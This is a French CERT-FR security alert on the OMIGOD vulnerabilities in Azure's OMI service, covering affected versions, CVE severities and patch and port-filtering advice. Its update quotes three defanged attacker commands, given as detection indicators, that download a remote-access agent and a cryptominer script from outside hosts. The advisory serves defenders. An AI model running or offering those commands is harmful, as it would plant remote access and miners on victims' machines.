Liberté • Égalité • Fraternité
RÉPUBLIQUE FRANÇAISE

PREMIER MINISTRE

S . G . D . S . N
Agence nationale
de la sécurité des
systèmes d'information

Paris, le 17 septembre 2021
N° CERTFR-2021-ALE-020

Affaire suivie par: CERT-FR

BULLETIN D'ALERTE DU CERT-FR

Objet: [Maj] Multiples vulnérabilités dans Microsoft Azure Open Management Infrastructure

Gestion du document

Référence	CERTFR-2021-ALE-020
Titre	[Maj] Multiples vulnérabilités dans Microsoft Azure Open Management Infrastructure
Date de la première version	17 septembre 2021
Date de la dernière version	22 septembre 2021
Source(s)	Bulletin de sécurité Microsoft CVE-2021-38649 du 16 septembre 2021 Bulletin de sécurité Microsoft CVE-2021-38645 du 16 septembre 2021 Bulletin de sécurité Microsoft CVE-2021-38647 du 16 septembre 2021 Bulletin de sécurité Microsoft CVE-2021-38648 du 16 septembre 2021
Pièce(s) jointe(s)	Aucune(s)

Tableau 1: Gestion du document

Une gestion de version détaillée se trouve à la fin de ce document.

Risque(s)

- Exécution de code arbitraire à distance
- Élévation de privilèges

Systèmes affectés

- le paquet OMI (*On-Premises* et *Cloud*) versions antérieures à v1.6.8-1
- System Center Operations Manager (SCOM) *On-Premises* OMI versions antérieures à v1.6.8-1 (OMI framework est utilisé pour la surveillance de Linux / Unix)
- Azure Automation State Configuration, DSC Extension (*Cloud*) DSC Agent versions 2.71.X.XX antérieures à 2.71.1.25
- Azure Automation State Configuration, DSC Extension (*Cloud*) DSC Agent versions 2.70.X.XX antérieures à 2.70.0.30
- Azure Automation State Configuration, DSC Extension (*Cloud*) DSC Agent versions 3.0.0.1 antérieures à 3.0.0.3
- Azure Automation State Configuration, DSC Extension (*Cloud*) DSC Agent versions 2.0.0.0
- Azure Automation State Configuration, DSC Extension (*On-Premises*) OMI versions antérieures à v1.6.8-1 (OMI framework est un pré-requis pour installer pour l'agent DSC)
- Log Analytics Agent (*On-Premises* et *Cloud*) OMS Agent pour Linux GA versions 1.13.35 et antérieures
- Azure Diagnostics (LAD) (*Cloud*) versions 4.0.0 à 4.0.5 antérieures à 4.0.11
- Azure Diagnostics (LAD) (*Cloud*) versions 3.0.131 et antérieures
- Azure Automation Update Management (*On-Premises* et Cloud) OMS Agent pour Linux GA versions v1.13.35 et antérieures
- Azure Automation (*On-Premises* et *Cloud*) OMS Agent pour Linux GA versions v1.13.35 et antérieures
- Azure Security Center (*Cloud*) OMS Agent pour Linux GA versions v1.13.35 et antérieures
- Container Monitoring Solution (*Cloud*) déployé avec une image docker ayant un SHA ID différent de 12b7682d8f9a2f67752bf121029e315abcae89bc0c34a0e05f07baec72280707

Résumé

[Version du 20 septembre 2021]

Le 18 septembre Microsoft a publié un article afin d'expliquer comment Azure Sentinel peut aider à la recherche d'une compromission notamment l'exploitation des vulnérabilités OMIGOD [4]. De plus, à cette occasion, les marqueurs suivants, qui correspondent à des traces liées à une tentative d'exploitation, ont été proposés par Microsoft :

- wget https://www[.]dwservice[.]net/download/dwagent_generic[.]sh -O dwagent_generic.sh
- echo curl https://www[.]dwservice[.]net/download/dwagent_generic[.]sh --output dw.sh > go.sh
- curl -fSsL http://104[.]168[.]213[.]31:55879/coinlinux/runMiner[.]sh

[Version initiale]

Le 14 septembre 2021, une équipe de chercheurs en vulnérabilités a découvert quatre vulnérabilités dans Microsoft Azure, la plateforme cloud de Microsoft [1]. Ces vulnérabilités sont situées au sein du service OMI, lequel est déployé dans l'écosystème Azure. Ces

vulnérabilités ont été regroupées sous l'appellation de « *OMIGOD* ». Le service OMI est le pendant open-source pour la famille de systèmes d'exploitation de type Linux ou Unix de WMI (Windows Management Infrastructure) et permet la gestion des configurations dans des environnements distants et locaux.

En particulier, la vulnérabilité immatriculée CVE-2021-38647 permet à un attaquant non authentifié de réaliser une exécution de code arbitraire avec les privilèges de l'utilisateur *root*. Elle impacte uniquement les entités utilisant les solutions de gestion Linux (*On-Premises* SCOM, Azure Automation State Configuration ou Azure Desired State Configuration extension) lorsque la gestion à distance est activée.

Pour des besoins de gestion à distance, il est possible que les ports associés à OMI (5986 / 5985 / 1270) soient accessibles depuis Internet. Dans ce cas, la vulnérabilité peut être exploitée afin d'obtenir un accès initial à un environnement Azure pour ensuite pouvoir se déplacer latéralement au sein du système d'information, en tirant notamment parti des trois autres vulnérabilités, qui permettent une élévation de privilèges locale.

Dans le cadre de son Patch Tuesday, en date du 14 septembre 2021 [5], Microsoft a ainsi mis à disposition un correctif pour ces quatre vulnérabilités :

- CVE-2021-38647 : Avec un score CVSSv3 à 9.8 et permettant à un attaquant de pouvoir exécuter du code arbitraire à distance ;
- CVE-2021-38648 : Avec un score CVSSv3 à 7.8 et permettant à un attaquant de pouvoir réaliser une élévation de privilèges ;
- CVE-2021-38645 : Avec un score CVSSv3 à 7.8 et permettant à un attaquant de pouvoir réaliser une élévation de privilèges ;
- CVE-2021-38649 : Avec un score CVSSv3 à 7.0 et permettant à un attaquant de pouvoir réaliser une élévation de privilèges

Des codes d'exploitation sont publiquement disponibles sur Internet pour la CVE-2021-38647, ce qui signifie que l'exploitation de cette vulnérabilité est imminente ou déjà en cours.

Solution

Le CERT-FR recommande fortement la mise à jour des extensions vulnérables. Pour cela, dans le cadre d'un déploiement dans le *Cloud*, veuillez vous assurer que la mise à jour a bien été appliquée, sinon dans le cas contraire l'effectuer manuellement. En ce qui concerne les déploiements *OnPremises,* les mises à jour des extensions vulnérables doivent être réalisées manuellement. Afin d'identifier les extensions concernées par ces vulnérabilités, les utilisateurs peuvent utiliser Azure Portal ou Azure CLI comme décrit dans la documentation de Microsoft [3].

Le CERT-FR rappelle également que ce type de service ne doit pas être exposé sur Internet. De plus, il est fortement recommandé de filtrer l'accès des ports susmentionnés associés au service OMI uniquement aux machines d'administration autorisées.

Documentation

- [1] Publication de l'équipe de chercheurs en vulnérabilités de Wiz
  https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure
- [2] Recommandations supplémentaires pour les vulnérabilités OMIGOD
  https://msrc-blog.microsoft.com/2021/09/16/additional-guidance-regarding-omi-vulnerabilities-within-azure-vm-management-extensions/
- [3] Documentation de Microsoft
  https://docs.microsoft.com/en-us/azure/virtual-machines/extensions/features-linux#discover-vm-extensions
- [4] Aide pour l'utilisation de Azure Sentinel
  https://techcommunity.microsoft.com/t5/azure-sentinel/hunting-for-omi-vulnerability-exploitation-with-azure-sentinel/ba-p/2764093
- [5] Avis CERT-FR du 15 septembre 2021
  https://www.cert.ssi.gouv.fr/avis/CERTFR-2021-AVI-711/
- Bulletin de sécurité Microsoft CVE-2021-38649 du 16 septembre 2021
  https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38649
- Bulletin de sécurité Microsoft CVE-2021-38645 du 16 septembre 2021
  https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38645
- Bulletin de sécurité Microsoft CVE-2021-38647 du 16 septembre 2021
  https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647
- Bulletin de sécurité Microsoft CVE-2021-38648 du 16 septembre 2021
  https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38648
- Référence CVE CVE-2021-38649
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-38649
- Référence CVE CVE-2021-38645
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-38645
- Référence CVE CVE-2021-38647
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-38647
- Référence CVE CVE-2021-38648
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-38648

Gestion détaillée du document

le 17 septembre 2021
Version initiale
le 22 septembre 2021
Ajout de la référence à l'avis CERT-FR